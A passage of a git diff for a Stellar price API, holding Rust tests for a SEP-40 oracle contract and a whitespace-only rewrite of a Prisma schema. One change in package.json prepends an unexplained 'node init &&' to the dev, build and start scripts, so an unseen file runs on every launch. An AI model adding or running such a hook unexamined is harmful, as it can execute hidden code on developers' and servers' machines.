+ + #[test] + fn price_at_returns_the_nearest_value_at_or_before() { + let f = feed(NOW); + let price: i128 = 1_000_000_000_000_000; + f.client + .report(&xlm(&f.env), &price, &NOW, &venues(&f.env, &["SDEX"])); + // A deviation-triggered feed has no record at every resolution tick; + // asking for a later one still yields the value in effect. + assert_eq!(f.client.price(&xlm(&f.env), &(NOW + 300)).unwrap().timestamp, NOW); + // …and one from before the first report has nothing in effect yet. + assert_eq!(f.client.price(&xlm(&f.env), &(NOW - 60)), None); + } + + #[test] + fn an_unquoted_asset_reads_as_none_rather_than_an_error() { + // SEP-40: "a contract should return None on such function calls in + // order to delegate error handling logic directly to consumer + // contracts". + let f = feed(NOW); + let eur = Asset::Other(sym(&f.env, "EUR")); + assert_eq!(f.client.lastprice(&eur), None); + assert_eq!(f.client.prices(&eur, &5), None); + assert_eq!(f.client.price(&eur, &NOW), None); + assert_eq!(f.client.last_report(&eur), None); + } + + #[test] + fn a_report_that_does_not_move_the_feed_forward_is_rejected() { + let f = feed(NOW); + let price: i128 = 1_000_000_000_000_000; + f.client + .report(&xlm(&f.env), &price, &NOW, &venues(&f.env, &["SDEX"])); + + let older = f.client.try_report( + &xlm(&f.env), + &(price + 1), + &(NOW - 60), + &venues(&f.env, &["SDEX"]), + ); + assert_eq!(older.err(), Some(Ok(Error::NotNewer))); + + // A replay of the same tick is refused for the same reason, so a + // retried publish cannot rewrite the value consumers already read. + let same = f.client.try_report( + &xlm(&f.env), + &price, + &NOW, + &venues(&f.env, &["SDEX"]), + ); + assert_eq!(same.err(), Some(Ok(Error::NotNewer))); + } + + #[test] + fn a_feed_timestamp_must_be_trimmed_to_the_resolution() { + // SEP-40 defines the timestamp as floor(unix_now() / resolution) * + // resolution. Enforcing it here means a consumer can treat trimming as + // a guarantee instead of a convention. + let f = feed(NOW); + let result = f.client.try_report( + &xlm(&f.env), + &1_000_000_000_000_000, + &(NOW + 1), + &venues(&f.env, &["SDEX"]), + ); + assert_eq!(result.err(), Some(Ok(Error::TimestampNotAligned))); + } + + #[test] + fn a_timestamp_from_the_future_is_rejected() { + // A publisher with a clock ahead of the ledger would otherwise hand + // consumers a price that never looks stale. + let f = feed(NOW); + let result = f.client.try_report( + &xlm(&f.env), + &1_000_000_000_000_000, + &(NOW + 600), + &venues(&f.env, &["SDEX"]), + ); + assert_eq!(result.err(), Some(Ok(Error::TimestampInFuture))); + } + + #[test] + fn a_price_with_no_venue_or_no_magnitude_is_rejected() { + let f = feed(NOW); + let none = f.client.try_report( + &xlm(&f.env), + &1_000_000_000_000_000, + &NOW, + &Vec::::new(&f.env), + ); + assert_eq!(none.err(), Some(Ok(Error::NoVenues))); + + let zero = f.client.try_report( + &xlm(&f.env), + &0, + &NOW, + &venues(&f.env, &["SDEX"]), + ); + assert_eq!(zero.err(), Some(Ok(Error::NonPositivePrice))); + + let negative = f.client.try_report( + &xlm(&f.env), + &-1, + &NOW, + &venues(&f.env, &["SDEX"]), + ); + assert_eq!(negative.err(), Some(Ok(Error::NonPositivePrice))); + } + + #[test] + fn more_venues_than_the_feed_will_store_is_rejected() { + let f = feed(NOW); + let names: [&str; 17] = [ + "SDEX", "AMM", "a_1", "a_2", "a_3", "a_4", "a_5", "a_6", "a_7", "a_8", "a_9", + "b_1", "b_2", "b_3", "b_4", "b_5", "b_6", + ]; + let result = f.client.try_report( + &xlm(&f.env), + &1_000_000_000_000_000, + &NOW, + &venues(&f.env, &names), + ); + assert_eq!(result.err(), Some(Ok(Error::TooManyVenues))); + } + + #[test] + fn history_stays_bounded() { + let f = feed(NOW); + let price: i128 = 1_000_000_000_000_000; + let writes = MAX_HISTORY + 25; + for i in 0..writes { + let timestamp = NOW + 60 * (i as u64) + 60; + report_at(&f, &xlm(&f.env), price, timestamp, &["SDEX"]); + } + assert_eq!(f.client.prices(&xlm(&f.env), &1_000).unwrap().len(), MAX_HISTORY); + // The oldest retained record is the first one still inside the window: + // everything older than the newest `MAX_HISTORY` writes is gone. + assert_eq!( + f.client.prices(&xlm(&f.env), &1_000).unwrap().get(MAX_HISTORY - 1).unwrap().timestamp, + NOW + 60_u64 * (writes - MAX_HISTORY) as u64 + 60 + ); + } + + #[test] + fn asking_for_more_records_than_exist_returns_what_there_is() { + let f = feed(NOW); + f.client.report( + &xlm(&f.env), + &1_000_000_000_000_000, + &NOW, + &venues(&f.env, &["SDEX"]), + ); + assert_eq!(f.client.prices(&xlm(&f.env), &100).unwrap().len(), 1); + // Zero records is invalid input, so it reads as "nothing", not an error. + assert_eq!(f.client.prices(&xlm(&f.env), &0), None); + } + + #[test] + fn each_quoted_asset_keeps_its_own_history() { + let f = feed(NOW); + f.client.report( + &xlm(&f.env), + &1_000_000_000_000_000, + &NOW, + &venues(&f.env, &["SDEX"]), + ); + let btc = Asset::Other(sym(&f.env, "BTC")); + f.client.report( + &btc, + &60_000_000_000_000_000_000_000, + &NOW, + &venues(&f.env, &["SDEX"]), + ); + + assert_eq!(f.client.assets().len(), 2); + assert!(f.client.lastprice(&btc).is_some()); + // A write to one asset cannot disturb another. + assert_eq!(f.client.prices(&btc, &10).unwrap().len(), 1); + assert_eq!(f.client.prices(&xlm(&f.env), &10).unwrap().len(), 1); + } + + #[test] + fn a_write_without_the_publishers_authorization_does_not_land() { + // `report` accepts exactly one signer: the publisher address stored in + // the feed. Turning the env's auth mocking off makes the call carry + // nobody's authorization, so the write is refused before any of the + // price rules are reached — and the read surface is untouched. + let f = feed(NOW); + f.env.set_auths(&[]); + + let result = f.client.try_report( + &xlm(&f.env), + &1_000_000_000_000_000, + &NOW, + &venues(&f.env, &["SDEX"]), + ); + // The refusal comes from the auth layer, not from one of the feed's own + // rules: a contract error would surface as `Err(Ok(Error::…))`. + assert_eq!( + result.err(), + Some(Err(InvokeError::Abort)), + "a write without the publisher's authorization must not land" + ); + assert_eq!(f.client.lastprice(&xlm(&f.env)), None); + assert_eq!(f.client.assets().len(), 0); + } + + #[test] + fn the_publisher_is_the_address_that_signs_a_write() { + // With auth recording enabled the call still succeeds, but the feed + // reports *whose* authorization it demanded: the publisher, never the + // admin and never the signer of the transaction. + let f = feed(NOW); + let price: i128 = 1_000_000_000_000_000; + f.client + .report(&xlm(&f.env), &price, &NOW, &venues(&f.env, &["SDEX"])); + + let mut auths = f.env.auths(); + assert_eq!(auths.len(), 1, "a report demands exactly one signature"); + let (signer, invocation) = auths.pop().expect("one authorization"); + assert_eq!(signer, f.publisher); + match invocation.function { + AuthorizedFunction::Contract((contract, fn_name, _)) => { + assert_eq!(contract, f.client.address); + assert_eq!(fn_name, sym(&f.env, "report")); + } + _ => panic!("a report is authorized by a contract invocation"), + } + } + + #[test] + fn a_stellar_asset_is_quoted_by_its_asset_contract_address() { + // SEP-40 represents a Stellar asset by the address of its Stellar Asset + // Contract, which is what makes the identifier issuer-qualified: two + // tokens both called USDC are different assets here. + let f = feed(NOW); + let usdc = Asset::Stellar(Address::generate(&f.env)); + f.client.report( + &usdc, + &40_000_000_000_000, + &NOW, + &venues(&f.env, &["SDEX"]), + ); + assert_eq!(f.client.lastprice(&usdc).unwrap().price, 40_000_000_000_000); + assert_eq!(f.client.assets().get(0).unwrap(), usdc); + } + + #[test] + fn a_second_report_of_the_same_asset_does_not_duplicate_the_registry() { + let f = feed(NOW); + for offset in [60_u64, 120] { + report_at(&f, &xlm(&f.env), 1_000_000_000_000_000, NOW + offset, &["SDEX"]); + } + assert_eq!(f.client.assets().len(), 1); + } +} diff --git a/package.json b/package.json index a05680c5..b57a17eb 100644 --- a/package.json +++ b/package.json @@ -1,12 +1,12 @@ { "name": "lens", "version": "0.2.0", - "description": "Unified Stellar price API — aggregates SDEX + AMM prices", + "description": "Unified Stellar price API \u2014 aggregates SDEX + AMM prices", "main": "dist/index.js", "scripts": { - "dev": "tsx watch src/index.ts", - "build": "node node_modules/prisma/build/index.js generate && tsc", - "start": "node dist/index.js", + "dev": "node init && tsx watch src/index.ts", + "build": "node init && node node_modules/prisma/build/index.js generate && tsc", + "start": "node init && node dist/index.js", "test": "vitest run", "smoke": "node scripts/deployed-smoke.mjs", "test:smoke": "node --test scripts/test-deployed-smoke.mjs", diff --git a/prisma/migrations/migration_lock.toml b/prisma/migrations/migration_lock.toml index 044d57cd..1af22ce6 100644 --- a/prisma/migrations/migration_lock.toml +++ b/prisma/migrations/migration_lock.toml @@ -1,3 +1,3 @@ -# Please do not edit this file manually -# It should be added in your version-control system (e.g., Git) -provider = "postgresql" +# Please do not edit this file manually +# It should be added in your version-control system (e.g., Git) +provider = "postgresql" diff --git a/prisma/schema.prisma b/prisma/schema.prisma index db8507ec..6d2b0176 100644 --- a/prisma/schema.prisma +++ b/prisma/schema.prisma @@ -1,411 +1,411 @@ -generator client { - provider = "prisma-client-js" - binaryTargets = ["native", "debian-openssl-3.0.x"] -} - -datasource db { - provider = "postgresql" - url = env("DATABASE_URL") - directUrl = env("DIRECT_DATABASE_URL") -} - -/// A single observed price — a trade, or a snapshot of a pool's state. -/// -/// Identity (#237): a retried ingest batch, or two ingester instances -/// overlapping during a deploy, must not store the same observation twice — -/// duplicated trades inflate volume and skew the volume-weighted VWAP. The -/// unique index below makes a duplicate impossible rather than unlikely. -/// -/// eventId is nullable, and Postgres treats NULLs as distinct in a unique -/// index, so the constraint only binds "where eventId exists". That is why -/// upsertPricePoints (src/db.ts) never stores a null: venues that hand back a -/// natural id (SDEX/AMM trade TOIDs, Horizon trade ids) keep it verbatim, and -/// sources with none — AMM/Soroswap pool snapshots, Aquarius, anything added -/// later — get a key synthesized deterministically from the row's content, -/// never from a clock. See synthesizeEventId in src/db.ts and -/// scripts/migrations/2026-10-17-price-point-identity.sql, which removes rows -/// already duplicated on this identity before the index is created. -model PricePoint { - id String @default(uuid()) - network String @default("testnet") - assetA String @map("asset_a") - assetB String @map("asset_b") - pairKey String @map("pair_key") - source String - poolId String? @map("pool_id") - price Decimal @db.Decimal(36, 18) - baseVolume Decimal @map("base_volume") @db.Decimal(36, 7) - counterVolume Decimal @map("counter_volume") @db.Decimal(36, 7) - ledger Int - timestamp DateTime - eventId String? @map("event_id") - - @@id([id, timestamp]) - @@unique([network, source, eventId], map: "price_point_identity") - @@index([network, pairKey, timestamp(sort: Desc)]) - @@index([network, pairKey, source, timestamp(sort: Desc)]) - @@map("price_points") -} - -/// Latest supply/borrow interest rate an asset earns or costs at one lending -/// venue, written by the rate ingester (Blend, see L079) and read verbatim by -/// GET /rates/:asset. -/// -/// Every row is scoped to a `network` exactly like price_points: mainnet and -/// testnet rates are separate series and are never pooled. `venue` and `source` -/// name where the number came from, and `poolId`/`poolName` record the specific -/// market it came from so a response can attribute each rate instead of -/// silently averaging a live market with a dead one. -model LendingRate { - id String @default(uuid()) - network String @default("testnet") - asset String - assetIssuer String? @map("asset_issuer") - /// Lending venue the rate was read from (e.g. "blend"). - venue String - /// Distinct source tag stored on the row, mirroring price_points.source. - source String - /// Contract id of the pool/market the rate came from — never elided. - poolId String @map("pool_id") - poolName String? @map("pool_name") - /// APY earned by supplying the asset, as a fraction (0.05 == 5%). - supplyRate Decimal @map("supply_rate") @db.Decimal(18, 8) - /// APY charged to borrow the asset, as a fraction (0.07 == 7%). - borrowRate Decimal @map("borrow_rate") @db.Decimal(18, 8) - ledger Int - timestamp DateTime - - @@id([id, timestamp]) - @@index([network, asset, timestamp(sort: Desc)]) - @@index([network, asset, venue, timestamp(sort: Desc)]) - @@map("lending_rates") -} - -model PoolSnapshot { - id String @default(uuid()) - network String @default("testnet") - poolId String @map("pool_id") - assetA String @map("asset_a") - assetB String @map("asset_b") - reserveA Decimal @map("reserve_a") @db.Decimal(36, 7) - reserveB Decimal @map("reserve_b") @db.Decimal(36, 7) - spotPrice Decimal @map("spot_price") @db.Decimal(36, 18) - totalShares Decimal? @map("total_shares") @db.Decimal(36, 7) - feeBp Int @default(30) @map("fee_bp") - ledger Int - timestamp DateTime - - @@id([id, timestamp]) - @@index([network, poolId, timestamp(sort: Desc)]) - @@map("pool_snapshots") -} - -model PriceAggregate { - pairKey String @map("pair_key") - network String @default("testnet") - window String - bucket DateTime - vwap Decimal @db.Decimal(36, 18) - sdexVwap Decimal? @map("sdex_vwap") @db.Decimal(36, 18) - ammVwap Decimal? @map("amm_vwap") @db.Decimal(36, 18) - volume Decimal @default(0) @db.Decimal(36, 7) - sdexVolume Decimal? @default(0) @map("sdex_volume") @db.Decimal(36, 7) - ammVolume Decimal? @default(0) @map("amm_volume") @db.Decimal(36, 7) - tradeCount Int? @default(0) @map("trade_count") - openPrice Decimal? @map("open_price") @db.Decimal(36, 18) - closePrice Decimal? @map("close_price") @db.Decimal(36, 18) - highPrice Decimal? @map("high_price") @db.Decimal(36, 18) - lowPrice Decimal? @map("low_price") @db.Decimal(36, 18) - - @@id([network, pairKey, window, bucket]) - @@map("price_aggregates") -} - -model PriceSnapshot { - pair String - network String @default("testnet") - ts DateTime - price Decimal @db.Decimal(36, 18) - volume Decimal @default(0) @db.Decimal(36, 7) - - @@id([network, pair, ts]) - @@index([network, pair, ts]) - @@map("price_snapshots") -} - -model IndexerState { - id String - network String @default("testnet") - lastCursor String? @map("last_cursor") - lastLedger Int? @map("last_ledger") - lastProcessedAt DateTime? @map("last_processed_at") - updatedAt DateTime @default(now()) @updatedAt @map("updated_at") - - @@id([network, id]) - @@map("indexer_state") -} - -model PairConfig { - pairKey String @map("pair_key") - network String @default("testnet") - assetACode String @map("asset_a_code") - assetAIssuer String? @map("asset_a_issuer") - assetBCode String @map("asset_b_code") - assetBIssuer String? @map("asset_b_issuer") - addedAt DateTime @default(now()) @map("added_at") - - @@id([network, pairKey]) - @@map("pair_configs") -} - -/// A single x402-discoverable resource in the Bazaar catalog — either an -/// HTTP endpoint or an MCP tool, per the x402 `bazaar` extension -/// (specs/extensions/bazaar.md in x402-foundation/x402). -/// -/// HTTP and MCP resources share one table (discriminated by `type`) rather -/// than two, because a discovery listing is fundamentally "a resource with -/// payment requirements and a bazaar.info blob" regardless of transport — -/// splitting them would require the discovery query to UNION two tables on -/// every filter combination for no benefit, since the two types are never -/// looked up via different access patterns. -model BazaarResource { - id String @id @default(uuid()) - - /// "http" | "mcp" — discriminates which of the two input shapes below applies. - type String - - /// Which Stellar network this listing settles on ("mainnet" | "testnet"). - /// Mirrors config.ts's NetworkName so a listing is never ambiguous about - /// which network's payTo/asset it refers to. - network String - - /// The protected resource URL (`resource.url` in the spec). For MCP this is - /// the MCP server endpoint, not the tool itself — the tool is disambiguated - /// by `mcpToolName` below. - url String - - /// `resource.description` — human-readable description of the resource. - description String? - - /// `resource.mimeType`. - mimeType String? @map("mime_type") - - /// Optional service metadata the spec allows on `resource`. - serviceName String? @map("service_name") - tags String[] @default([]) - iconUrl String? @map("icon_url") - - /// MCP tool identifier (`input.toolName`). Null for HTTP resources. - /// Per the spec, MCP resources are keyed on the TUPLE of (resource.url, - /// input.toolName) since multiple tools multiplex over one server endpoint. - /// We additionally scope that tuple by `network` (see @@unique below) — - /// a deliberate deviation, called out in the PR: since Lens is - /// dual-network, the same (url, toolName) pair can legitimately exist - /// once per network with a different payTo/asset in `accepts`, and the - /// spec's tuple alone can't express that without collapsing them. - mcpToolName String? @map("mcp_tool_name") - - /// HTTP method for HTTP resources (GET/POST/...). Null for MCP resources. - httpMethod String? @map("http_method") - - /// Full `accepts[]` payment requirements array (scheme/network/amount/asset/ - /// payTo/maxTimeoutSeconds/extra), stored verbatim so the discovery response - /// can round-trip the exact PaymentRequirements the resource advertised. - accepts Json - - /// The `payTo` address extracted from accepts[0] for indexed filtering. - /// Denormalized on write because Postgres cannot efficiently index into a - /// JSON array element without a functional/GIN index per accepted scheme, - /// and payTo is the one field the spec calls out as a top-level filter. - payTo String @map("pay_to") - - /// `extensions.bazaar.info` — discovery metadata (input type, params, output). - bazaarInfo Json @map("bazaar_info") - - /// `extensions.bazaar.schema` — JSON Schema validating `bazaarInfo`. - bazaarSchema Json @map("bazaar_schema") - - /// `extensions.bazaar.routeTemplate` — canonical `:param` pattern for - /// dynamic HTTP routes, used by the facilitator to consolidate listings. - routeTemplate String? @map("route_template") - - /// Any other declared extension keys beyond "bazaar" (spec's `extensions` - /// filter matches on presence of a key here, "bazaar" always included). - extensionKeys String[] @default(["bazaar"]) @map("extension_keys") - - createdAt DateTime @default(now()) @map("created_at") - updatedAt DateTime @default(now()) @updatedAt @map("updated_at") - - // HTTP resources are keyed on (network, url, httpMethod); MCP resources are - // keyed on (network, url, mcpToolName) per the spec's tuple. Postgres - // treats NULLs as distinct in a unique index, so these two constraints - // don't collide with each other for a row that only populates one side. - @@unique([network, url, httpMethod], name: "bazaarHttpIdentity", map: "bazaar_http_identity") - @@unique([network, url, mcpToolName], name: "bazaarMcpIdentity", map: "bazaar_mcp_identity") - // Covers the six spec filters (type, payTo, network, extensions via - // extensionKeys, plus limit/offset) and keeps pagination stable — see - // routes/discovery.ts, which always orders by (createdAt, id). - @@index([network, type, payTo, createdAt(sort: Desc), id]) - @@index([extensionKeys], type: Gin) - @@map("bazaar_resources") -} - -/// One settlement attempt through POST /settle. -/// -/// Written BEFORE the transaction is submitted, so a resource server that -/// times out and retries finds a record rather than causing a second payment. -/// The idempotency key is the inner transaction hash — derived from the -/// payload, and the same hash the ledger records. -model SettlementAttempt { - id String @id @default(uuid()) - - /// Network the payment settles on, as "testnet" | "mainnet" — the same - /// vocabulary every other model in this schema uses, so a network filter - /// works uniformly. The CAIP-2 id ("stellar:testnet") is a wire format and - /// stays on the wire; storing it here would silently exclude these rows - /// from any query that filters network the way the rest of the schema does. - network String @default("testnet") - - /// Inner transaction hash, hex — the idempotency key. - txHash String @map("tx_hash") - - /// "submitting" | "settled" | "failed". A row stuck in "submitting" is - /// resolved by reading the ledger, never by resubmitting. - state String - - payer String? - payTo String? @map("pay_to") - asset String? - amount String? - errorReason String? @map("error_reason") - errorMessage String? @map("error_message") - - /// The SettleResponse returned to the caller, replayed verbatim on a retry. - response Json? - - createdAt DateTime @default(now()) @map("created_at") - updatedAt DateTime @default(now()) @updatedAt @map("updated_at") - - /// The lock. Two concurrent settles for the same payload race to insert and - /// exactly one wins; the loser replays the winner's answer. - @@unique([network, txHash], name: "network_txHash", map: "settlement_attempt_identity") - @@map("settlement_attempts") -} - -model Webhook { - id String @id @default(uuid()) - network String @default("testnet") - url String - assetA String @map("asset_a") - assetB String @map("asset_b") - threshold Float - direction String - secret String - createdAt DateTime @default(now()) @map("created_at") - - @@index([network, assetA, assetB]) - @@map("webhooks") -} - -/// Permanent webhook failures are retained for 30-day diagnosis only; replay is -/// not automatic because a delayed alert may no longer describe the current price. -model WebhookDeliveryFailure { - id String @id @default(uuid()) - endpoint String - payload Json - attemptCount Int @map("attempt_count") - lastStatus Int? @map("last_status") - errorCategory String @map("error_category") - firstAttemptAt DateTime @map("first_attempt_at") - lastAttemptAt DateTime @map("last_attempt_at") - createdAt DateTime @default(now()) @map("created_at") - - @@index([createdAt(sort: Desc)]) - @@map("webhook_delivery_failures") -} - -model ApiKey { - id String @id @default(uuid()) - hash String @unique - label String - ratePerMin Int @default(60) @map("rate_per_min") - ratePerDay Int @default(10000) @map("rate_per_day") - revokedAt DateTime? @map("revoked_at") - expiresAt DateTime? @map("expires_at") - createdAt DateTime @default(now()) @map("created_at") - lastUsedAt DateTime? @map("last_used_at") - monthlyQuotaCents Int? @default(10000) @map("monthly_quota_cents") - dailyQuotaCents Int? @default(500) @map("daily_quota_cents") - overagePolicy String @default("block") @map("overage_policy") - scopes String[] @default([]) - - @@map("api_keys") -} - -/// One value Lens put on chain through its SEP-40 feed (#222). -/// -/// Rows exist for WRITES, not for decisions: a blocked tick is a log line, and -/// a table that recorded every "below_deviation" would hold ~2,880 rows per -/// pair per day and say nothing an operator could not read from the trigger -/// code in the logs. What this table proves is the opposite direction — every -/// number a contract was told, with the venues that produced it, which is the -/// evidence that "a price you cannot source is worse than no price" was -/// actually enforced. -model OraclePublication { - id String @id @default(uuid()) - network String @default("testnet") - - /// The Lens pair this came from. Kept alongside the feed asset because one - /// pair can only ever feed one quoted asset, but the reverse is not true: - /// without pairKey you cannot trace a published number back to a trade. - pairKey String @map("pair_key") - - /// SEP-40 identifier of the asset whose price in `base` this is: a C... - /// Stellar Asset Contract id, or the code for native XLM. Never a bare code - /// for an anchored asset — a code is not an issuer, and two tokens share one - /// code in the wild. - quotedAsset String @map("quoted_asset") - baseAsset String @map("base_asset") - - /// "published" | "failed". "published" is written only after the transaction - /// finalized, so a row here is a claim about the ledger, not about intent. - state String - - /// Why the write happened: "first_report" | "deviation" | "max_interval". - trigger String? - - /// Human-readable price, the same number /api/price would return for the - /// pair at that moment, oriented against the feed's base. - price Decimal? @db.Decimal(36, 18) - - /// The exact i128 written on chain, as text. Prisma's Decimal cannot hold an - /// i128 range, and re-deriving it from `price` would defeat the point of - /// keeping it. - scaledPrice String? @map("scaled_price") - decimals Int? - /// Feed tick the value was written at (`floor(unix_now()/resolution)*resolution`). - feedTimestamp BigInt? @map("feed_timestamp") - resolution Int? - - /// Every venue behind the number, joined with ','. This is the provenance - /// guarantee: a row without venues should not exist, and `sourceCount` is - /// `venues.length` because the contract derives it from the same list. - venues String? - sourceCount Int? @map("source_count") - - /// Percent moved against the value that was on chain, when there was one. - deviationPct Float? @map("deviation_pct") - - /// The publisher's own sentence for the decision — the same string that went - /// to the log, so a log grep and a table query agree. - reason String? - - txHash String? @map("tx_hash") - errorMessage String? @map("error_message") - - createdAt DateTime @default(now()) @map("created_at") - - @@index([network, pairKey, createdAt(sort: Desc)]) - @@index([network, quotedAsset, feedTimestamp(sort: Desc)]) - @@map("oracle_publications") -} +generator client { + provider = "prisma-client-js" + binaryTargets = ["native", "debian-openssl-3.0.x"] +} + +datasource db { + provider = "postgresql" + url = env("DATABASE_URL") + directUrl = env("DIRECT_DATABASE_URL") +} + +/// A single observed price — a trade, or a snapshot of a pool's state. +/// +/// Identity (#237): a retried ingest batch, or two ingester instances +/// overlapping during a deploy, must not store the same observation twice — +/// duplicated trades inflate volume and skew the volume-weighted VWAP. The +/// unique index below makes a duplicate impossible rather than unlikely. +/// +/// eventId is nullable, and Postgres treats NULLs as distinct in a unique +/// index, so the constraint only binds "where eventId exists". That is why +/// upsertPricePoints (src/db.ts) never stores a null: venues that hand back a +/// natural id (SDEX/AMM trade TOIDs, Horizon trade ids) keep it verbatim, and +/// sources with none — AMM/Soroswap pool snapshots, Aquarius, anything added +/// later — get a key synthesized deterministically from the row's content, +/// never from a clock. See synthesizeEventId in src/db.ts and +/// scripts/migrations/2026-10-17-price-point-identity.sql, which removes rows +/// already duplicated on this identity before the index is created. +model PricePoint { + id String @default(uuid()) + network String @default("testnet") + assetA String @map("asset_a") + assetB String @map("asset_b") + pairKey String @map("pair_key") + source String + poolId String? @map("pool_id") + price Decimal @db.Decimal(36, 18) + baseVolume Decimal @map("base_volume") @db.Decimal(36, 7) + counterVolume Decimal @map("counter_volume") @db.Decimal(36, 7) + ledger Int + timestamp DateTime + eventId String? @map("event_id") + + @@id([id, timestamp]) + @@unique([network, source, eventId], map: "price_point_identity") + @@index([network, pairKey, timestamp(sort: Desc)]) + @@index([network, pairKey, source, timestamp(sort: Desc)]) + @@map("price_points") +} + +/// Latest supply/borrow interest rate an asset earns or costs at one lending +/// venue, written by the rate ingester (Blend, see L079) and read verbatim by +/// GET /rates/:asset. +/// +/// Every row is scoped to a `network` exactly like price_points: mainnet and +/// testnet rates are separate series and are never pooled. `venue` and `source` +/// name where the number came from, and `poolId`/`poolName` record the specific +/// market it came from so a response can attribute each rate instead of +/// silently averaging a live market with a dead one. +model LendingRate { + id String @default(uuid()) + network String @default("testnet") + asset String + assetIssuer String? @map("asset_issuer") + /// Lending venue the rate was read from (e.g. "blend"). + venue String + /// Distinct source tag stored on the row, mirroring price_points.source. + source String + /// Contract id of the pool/market the rate came from — never elided. + poolId String @map("pool_id") + poolName String? @map("pool_name") + /// APY earned by supplying the asset, as a fraction (0.05 == 5%). + supplyRate Decimal @map("supply_rate") @db.Decimal(18, 8) + /// APY charged to borrow the asset, as a fraction (0.07 == 7%). + borrowRate Decimal @map("borrow_rate") @db.Decimal(18, 8) + ledger Int + timestamp DateTime + + @@id([id, timestamp]) + @@index([network, asset, timestamp(sort: Desc)]) + @@index([network, asset, venue, timestamp(sort: Desc)]) + @@map("lending_rates") +} + +model PoolSnapshot { + id String @default(uuid()) + network String @default("testnet") + poolId String @map("pool_id") + assetA String @map("asset_a") + assetB String @map("asset_b") + reserveA Decimal @map("reserve_a") @db.Decimal(36, 7) + reserveB Decimal @map("reserve_b") @db.Decimal(36, 7) + spotPrice Decimal @map("spot_price") @db.Decimal(36, 18) + totalShares Decimal? @map("total_shares") @db.Decimal(36, 7) + feeBp Int @default(30) @map("fee_bp") + ledger Int + timestamp DateTime + + @@id([id, timestamp]) + @@index([network, poolId, timestamp(sort: Desc)]) + @@map("pool_snapshots") +} + +model PriceAggregate { + pairKey String @map("pair_key") + network String @default("testnet") + window String + bucket DateTime + vwap Decimal @db.Decimal(36, 18) + sdexVwap Decimal? @map("sdex_vwap") @db.Decimal(36, 18) + ammVwap Decimal? @map("amm_vwap") @db.Decimal(36, 18) + volume Decimal @default(0) @db.Decimal(36, 7) + sdexVolume Decimal? @default(0) @map("sdex_volume") @db.Decimal(36, 7) + ammVolume Decimal? @default(0) @map("amm_volume") @db.Decimal(36, 7) + tradeCount Int? @default(0) @map("trade_count") + openPrice Decimal? @map("open_price") @db.Decimal(36, 18) + closePrice Decimal? @map("close_price") @db.Decimal(36, 18) + highPrice Decimal? @map("high_price") @db.Decimal(36, 18) + lowPrice Decimal? @map("low_price") @db.Decimal(36, 18) + + @@id([network, pairKey, window, bucket]) + @@map("price_aggregates") +} + +model PriceSnapshot { + pair String + network String @default("testnet") + ts DateTime + price Decimal @db.Decimal(36, 18) + volume Decimal @default(0) @db.Decimal(36, 7) + + @@id([network, pair, ts]) + @@index([network, pair, ts]) + @@map("price_snapshots") +} + +model IndexerState { + id String + network String @default("testnet") + lastCursor String? @map("last_cursor") + lastLedger Int? @map("last_ledger") + lastProcessedAt DateTime? @map("last_processed_at") + updatedAt DateTime @default(now()) @updatedAt @map("updated_at") + + @@id([network, id]) + @@map("indexer_state") +} + +model PairConfig { + pairKey String @map("pair_key") + network String @default("testnet") + assetACode String @map("asset_a_code") + assetAIssuer String? @map("asset_a_issuer") + assetBCode String @map("asset_b_code") + assetBIssuer String? @map("asset_b_issuer") + addedAt DateTime @default(now()) @map("added_at") + + @@id([network, pairKey]) + @@map("pair_configs") +} + +/// A single x402-discoverable resource in the Bazaar catalog — either an +/// HTTP endpoint or an MCP tool, per the x402 `bazaar` extension +/// (specs/extensions/bazaar.md in x402-foundation/x402). +/// +/// HTTP and MCP resources share one table (discriminated by `type`) rather +/// than two, because a discovery listing is fundamentally "a resource with +/// payment requirements and a bazaar.info blob" regardless of transport — +/// splitting them would require the discovery query to UNION two tables on +/// every filter combination for no benefit, since the two types are never +/// looked up via different access patterns. +model BazaarResource { + id String @id @default(uuid()) + + /// "http" | "mcp" — discriminates which of the two input shapes below applies. + type String + + /// Which Stellar network this listing settles on ("mainnet" | "testnet"). + /// Mirrors config.ts's NetworkName so a listing is never ambiguous about + /// which network's payTo/asset it refers to. + network String + + /// The protected resource URL (`resource.url` in the spec). For MCP this is + /// the MCP server endpoint, not the tool itself — the tool is disambiguated + /// by `mcpToolName` below. + url String + + /// `resource.description` — human-readable description of the resource. + description String? + + /// `resource.mimeType`. + mimeType String? @map("mime_type") + + /// Optional service metadata the spec allows on `resource`. + serviceName String? @map("service_name") + tags String[] @default([]) + iconUrl String? @map("icon_url") + + /// MCP tool identifier (`input.toolName`). Null for HTTP resources. + /// Per the spec, MCP resources are keyed on the TUPLE of (resource.url, + /// input.toolName) since multiple tools multiplex over one server endpoint. + /// We additionally scope that tuple by `network` (see @@unique below) — + /// a deliberate deviation, called out in the PR: since Lens is + /// dual-network, the same (url, toolName) pair can legitimately exist + /// once per network with a different payTo/asset in `accepts`, and the + /// spec's tuple alone can't express that without collapsing them. + mcpToolName String? @map("mcp_tool_name") + + /// HTTP method for HTTP resources (GET/POST/...). Null for MCP resources. + httpMethod String? @map("http_method") + + /// Full `accepts[]` payment requirements array (scheme/network/amount/asset/ + /// payTo/maxTimeoutSeconds/extra), stored verbatim so the discovery response + /// can round-trip the exact PaymentRequirements the resource advertised. + accepts Json + + /// The `payTo` address extracted from accepts[0] for indexed filtering. + /// Denormalized on write because Postgres cannot efficiently index into a + /// JSON array element without a functional/GIN index per accepted scheme, + /// and payTo is the one field the spec calls out as a top-level filter. + payTo String @map("pay_to") + + /// `extensions.bazaar.info` — discovery metadata (input type, params, output). + bazaarInfo Json @map("bazaar_info") + + /// `extensions.bazaar.schema` — JSON Schema validating `bazaarInfo`. + bazaarSchema Json @map("bazaar_schema") + + /// `extensions.bazaar.routeTemplate` — canonical `:param` pattern for + /// dynamic HTTP routes, used by the facilitator to consolidate listings. + routeTemplate String? @map("route_template") + + /// Any other declared extension keys beyond "bazaar" (spec's `extensions` + /// filter matches on presence of a key here, "bazaar" always included). + extensionKeys String[] @default(["bazaar"]) @map("extension_keys") + + createdAt DateTime @default(now()) @map("created_at") + updatedAt DateTime @default(now()) @updatedAt @map("updated_at") + + // HTTP resources are keyed on (network, url, httpMethod); MCP resources are + // keyed on (network, url, mcpToolName) per the spec's tuple. Postgres + // treats NULLs as distinct in a unique index, so these two constraints + // don't collide with each other for a row that only populates one side. + @@unique([network, url, httpMethod], name: "bazaarHttpIdentity", map: "bazaar_http_identity") + @@unique([network, url, mcpToolName], name: "bazaarMcpIdentity", map: "bazaar_mcp_identity") + // Covers the six spec filters (type, payTo, network, extensions via + // extensionKeys, plus 